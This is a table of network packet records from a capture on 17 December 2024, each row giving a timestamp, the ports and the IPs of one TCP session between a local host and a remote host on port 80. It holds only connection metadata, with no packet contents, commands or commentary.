Dec 17, 2024 22:06:24.091973066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.092077971 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.093539000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.093601942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.093689919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.093739033 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.094731092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.094743013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.094785929 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.095721960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.095735073 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.095763922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.095791101 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.096239090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.096251965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.096292019 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.096307039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.097780943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.097793102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.097832918 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.098643064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.098654032 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.098679066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.098685980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.098696947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.098702908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.098720074 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.098737001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.100687981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.100733042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.100825071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.100869894 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.101028919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.101041079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.101073980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.101088047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.102041960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.102091074 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.102380991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.102425098 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.103718042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.103770971 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.103856087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.103952885 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.104588032 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.104634047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.104856014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.104901075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.105032921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.105046034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.105074883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.105091095 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.106583118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.106637001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.106946945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.107007980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.107599020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.107609987 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.107647896 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.107662916 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.107772112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.107804060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.108831882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.108875990 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.109520912 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.109603882 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.109989882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.110043049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.110691071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.110795975 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.110863924 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.110943079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.111071110 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.111083984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.111116886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.111884117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.112016916 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.112490892 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.112533092 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.113451004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.113500118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.113821030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.113930941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.114108086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.114149094 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.114711046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.114751101 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.115681887 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.115719080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.116441011 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.116504908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.116633892 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.116808891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.116820097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.116849899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.116894960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.117275953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.117351055 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.118577957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.118590117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.118618965 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.118640900 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.119591951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.119628906 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.119764090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.119832039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.120614052 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.120657921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.120807886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.120852947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.121629000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.121714115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.261599064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.261676073 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.261723042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.261760950 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.262279034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.262293100 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.262447119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.263153076 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.263197899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.263324976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.263389111 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.263490915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.263509035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.263531923 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.263546944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.264506102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.264519930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.264560938 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.264988899 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.265038967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.265639067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.265682936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.266073942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.266112089 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.266402960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.266441107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.268197060 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.268244028 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.268351078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.268388987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.269335985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.269378901 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.269483089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.269545078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.270143986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.270180941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.270530939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.270602942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.271008968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.271054029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.271528959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.271574974 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.272233963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.272281885 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.272488117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.272640944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.273103952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.273997068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.274044991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.274293900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.274307013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.274358988 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.275362968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.275376081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.275399923 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.275415897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.276372910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.276386976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.276417971 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.276429892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.277347088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.277359962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.277396917 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.278407097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.278419018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.278455019 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.279340982 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.279352903 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.279393911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.279855013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.279870033 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.279907942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.279934883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.281270027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.281337976 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.281366110 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.281399012 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.282411098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.282427073 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.282485962 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.282552004 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.282829046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.282841921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.282874107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.283577919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.283591032 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.283624887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.283804893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.283840895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.283854008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.283895016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.283925056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.283936977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.283956051 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.283974886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.286612034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.286623001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.286667109 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.288166046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.288178921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.288218021 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.288281918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.288316011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.288427114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.288460016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.289618015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.289699078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.289876938 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.289911032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.289933920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.289973974 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.290105104 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.290142059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.290853977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.290865898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.290887117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.290903091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.290945053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.291388988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.291460991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.291958094 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.291973114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.291996956 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.292021036 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.295452118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.295468092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.295502901 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.295519114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.295548916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.295562029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.295583963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.295608997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.296415091 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.296428919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.296462059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.297481060 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.297494888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.297525883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.297542095 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.297884941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.297899961 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.297926903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.297943115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.299346924 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.299361944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.299391985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.299410105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.301371098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.301422119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.301569939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.301615953 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.302403927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.302474022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.302582026 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.302592993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.302604914 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.302622080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.302642107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.302964926 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.302977085 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.303008080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.303256989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.303303957 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.304574013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.304629087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.305000067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.305011988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.305054903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.305074930 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.305252075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.305294037 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.305869102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.305912018 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.306354046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.306396961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.307531118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.307574987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.309362888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.309422970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.309523106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.309566021 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.309645891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.309657097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.309679985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.309699059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.310019970 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.310030937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.310041904 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.310061932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.310082912 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.310611010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.310674906 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.312238932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.312290907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.312410116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.312525988 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.313318014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.313369989 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.450647116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.450975895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.450999022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.451047897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.451195002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.451208115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.451236010 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.451258898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.452122927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.452177048 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.452275991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.452349901 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.453104973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.453116894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.453151941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.454061031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.454392910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.455275059 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.455286980 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.455626011 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.455648899 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.455765009 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.456034899 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.456087112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.456141949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.456191063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.458992004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.459043980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.459460020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.459515095 CET	49793	80	192.168.2.4	31.41.244.11
